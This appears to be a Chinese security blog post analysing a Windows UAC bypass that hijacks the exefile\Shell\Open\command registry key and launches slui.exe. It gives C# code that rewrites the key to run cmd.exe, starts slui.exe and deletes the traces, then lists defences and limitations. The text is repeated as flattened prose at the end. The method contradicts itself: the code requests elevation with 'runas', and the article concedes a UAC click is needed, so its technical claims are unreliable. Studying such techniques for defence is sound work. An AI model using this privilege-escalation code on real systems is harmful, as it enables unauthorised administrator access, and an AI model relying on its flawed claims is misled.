Sharp4SluiUAC:一款通过 slui.exe 白名单进程绕过 UAC 实现提升权限
字数 1557 2025-08-29 22:41:10

Sharp4SluiUAC:通过 slui.exe 绕过 UAC 权限提升技术分析

1. UAC 与绕过技术概述

Windows 用户账户控制 (UAC) 是微软从 Windows Vista 开始引入的安全机制,用于防止未经授权的程序获取管理员权限。当标准用户运行需要管理员权限的程序时,系统会弹出 UAC 提示要求用户手动确认。

常见的 UAC 绕过技术包括:

  • 注册表劫持(HKCU\Software\Classes 目录)
  • 白名单进程利用
  • DLL 劫持
  • 计划任务滥用
  • COM 接口滥用

本文重点介绍通过 slui.exe 白名单进程结合注册表劫持的 UAC 绕过方法。

2. slui.exe 简介

slui.exe (Software Licensing User Interface) 是 Windows 软件许可界面组件,主要用于:

  • Windows 操作系统激活
  • 正版验证
  • 产品密钥管理

文件位置:C:\Windows\System32\slui.exe

常用命令行参数示例:

slui.exe 0x2a 0x80070005

这会打开 Windows 电话激活界面,显示微软技术支持电话信息。

3. 注册表关联可执行文件机制

关键注册表项:

HKCU\Software\Classes\exefile\Shell\Open\command

默认值为:

"%1" %*

其中:

  • %1 表示用户双击的 .exe 文件的完整路径
  • %* 表示传递给该 .exe 文件的所有命令行参数

攻击者可以通过修改此注册表项来劫持所有 .exe 文件的执行行为。例如修改为:

cmd.exe /c calc.exe

这将导致任何 .exe 文件运行时都执行计算器程序而非原程序。

4. 技术实现原理

在某些 Windows 版本中,slui.exe 运行时会在高权限环境下执行注册表中的 exefile\Shell\Open\command 命令,从而可能实现代码执行。

实现步骤:

  1. 修改当前用户的 exefile\Shell\Open\command 注册表项
  2. 以管理员权限启动 slui.exe
  3. slui.exe 在高权限环境下执行被修改的命令
  4. 清理注册表痕迹

5. 完整代码实现

以下是 C# 实现的核心代码:

// 修改注册表
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Classes\exefile\Shell\Open\command", true))
{
    // 设置恶意命令,例如启动管理员权限的cmd
    key.SetValue("", "cmd.exe");
    key.SetValue("DelegateExecute", "");
}

// 以管理员权限启动slui.exe
ProcessStartInfo startInfo = new ProcessStartInfo
{
    FileName = "slui.exe",
    Verb = "runas", // 请求管理员权限
    UseShellExecute = true
};
Process.Start(startInfo);

// 等待10秒确保命令执行
Thread.Sleep(10000);

// 清理注册表
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Classes\exefile\Shell\Open\command", true))
{
    key.DeleteValue("");
    key.DeleteValue("DelegateExecute");
}

代码解析:

  1. Registry.CurrentUser 操作当前用户注册表 (HKEY_CURRENT_USER)
  2. OpenSubKey 打开注册表项并设置可写权限
  3. SetValue 修改注册表值
  4. ProcessStartInfo 配置 slui.exe 以管理员权限运行
  5. 延迟后清理注册表恢复系统状态

6. 防御措施

针对此类攻击的防御建议:

  1. UAC 设置

    • 将 UAC 设置为最高级别(始终通知)
    • 不要使用管理员账户进行日常操作
  2. 注册表保护

    • 监控敏感注册表项的修改
    • 限制对 HKCU\Software\Classes\exefile 的写入权限
  3. 进程监控

    • 监控 slui.exe 等白名单进程的异常启动
    • 特别关注从非系统目录启动的 slui.exe
  4. 系统更新

    • 及时安装 Windows 安全更新
    • 微软可能在新版本中修复此类漏洞
  5. 安全软件

    • 部署具有行为监控功能的安全软件
    • 配置规则阻止可疑的权限提升行为

7. 技术限制

该技术存在以下限制:

  1. 仅适用于特定 Windows 版本
  2. 需要用户交互(点击 UAC 提示)
  3. 依赖于 slui.exe 的特殊行为
  4. 在最新 Windows 版本中可能已被修复

8. 总结

Sharp4SluiUAC 展示了一种利用 Windows 白名单进程和注册表劫持的组合技术来绕过 UAC 的方法。这种技术的关键在于:

  • 利用 slui.exe 的特殊权限行为
  • 通过注册表劫持改变程序执行流程
  • 精心设计的时序控制确保攻击完成

理解此类技术有助于安全研究人员更好地防御权限提升攻击,同时也提醒系统管理员保持系统更新和安全配置的重要性。

Sharp4SluiUAC:通过 slui.exe 绕过 UAC 权限提升技术分析 1. UAC 与绕过技术概述 Windows 用户账户控制 (UAC) 是微软从 Windows Vista 开始引入的安全机制,用于防止未经授权的程序获取管理员权限。当标准用户运行需要管理员权限的程序时,系统会弹出 UAC 提示要求用户手动确认。 常见的 UAC 绕过技术包括: 注册表劫持(HKCU\Software\Classes 目录) 白名单进程利用 DLL 劫持 计划任务滥用 COM 接口滥用 本文重点介绍通过 slui.exe 白名单进程结合注册表劫持的 UAC 绕过方法。 2. slui.exe 简介 slui.exe (Software Licensing User Interface) 是 Windows 软件许可界面组件,主要用于: Windows 操作系统激活 正版验证 产品密钥管理 文件位置: C:\Windows\System32\slui.exe 常用命令行参数示例: 这会打开 Windows 电话激活界面,显示微软技术支持电话信息。 3. 注册表关联可执行文件机制 关键注册表项: 默认值为: 其中: %1 表示用户双击的 .exe 文件的完整路径 %* 表示传递给该 .exe 文件的所有命令行参数 攻击者可以通过修改此注册表项来劫持所有 .exe 文件的执行行为。例如修改为: 这将导致任何 .exe 文件运行时都执行计算器程序而非原程序。 4. 技术实现原理 在某些 Windows 版本中,slui.exe 运行时会在高权限环境下执行注册表中的 exefile\Shell\Open\command 命令,从而可能实现代码执行。 实现步骤: 修改当前用户的 exefile\Shell\Open\command 注册表项 以管理员权限启动 slui.exe slui.exe 在高权限环境下执行被修改的命令 清理注册表痕迹 5. 完整代码实现 以下是 C# 实现的核心代码: 代码解析: Registry.CurrentUser 操作当前用户注册表 (HKEY_ CURRENT_ USER) OpenSubKey 打开注册表项并设置可写权限 SetValue 修改注册表值 ProcessStartInfo 配置 slui.exe 以管理员权限运行 延迟后清理注册表恢复系统状态 6. 防御措施 针对此类攻击的防御建议: UAC 设置 : 将 UAC 设置为最高级别(始终通知) 不要使用管理员账户进行日常操作 注册表保护 : 监控敏感注册表项的修改 限制对 HKCU\Software\Classes\exefile 的写入权限 进程监控 : 监控 slui.exe 等白名单进程的异常启动 特别关注从非系统目录启动的 slui.exe 系统更新 : 及时安装 Windows 安全更新 微软可能在新版本中修复此类漏洞 安全软件 : 部署具有行为监控功能的安全软件 配置规则阻止可疑的权限提升行为 7. 技术限制 该技术存在以下限制: 仅适用于特定 Windows 版本 需要用户交互(点击 UAC 提示) 依赖于 slui.exe 的特殊行为 在最新 Windows 版本中可能已被修复 8. 总结 Sharp4SluiUAC 展示了一种利用 Windows 白名单进程和注册表劫持的组合技术来绕过 UAC 的方法。这种技术的关键在于: 利用 slui.exe 的特殊权限行为 通过注册表劫持改变程序执行流程 精心设计的时序控制确保攻击完成 理解此类技术有助于安全研究人员更好地防御权限提升攻击,同时也提醒系统管理员保持系统更新和安全配置的重要性。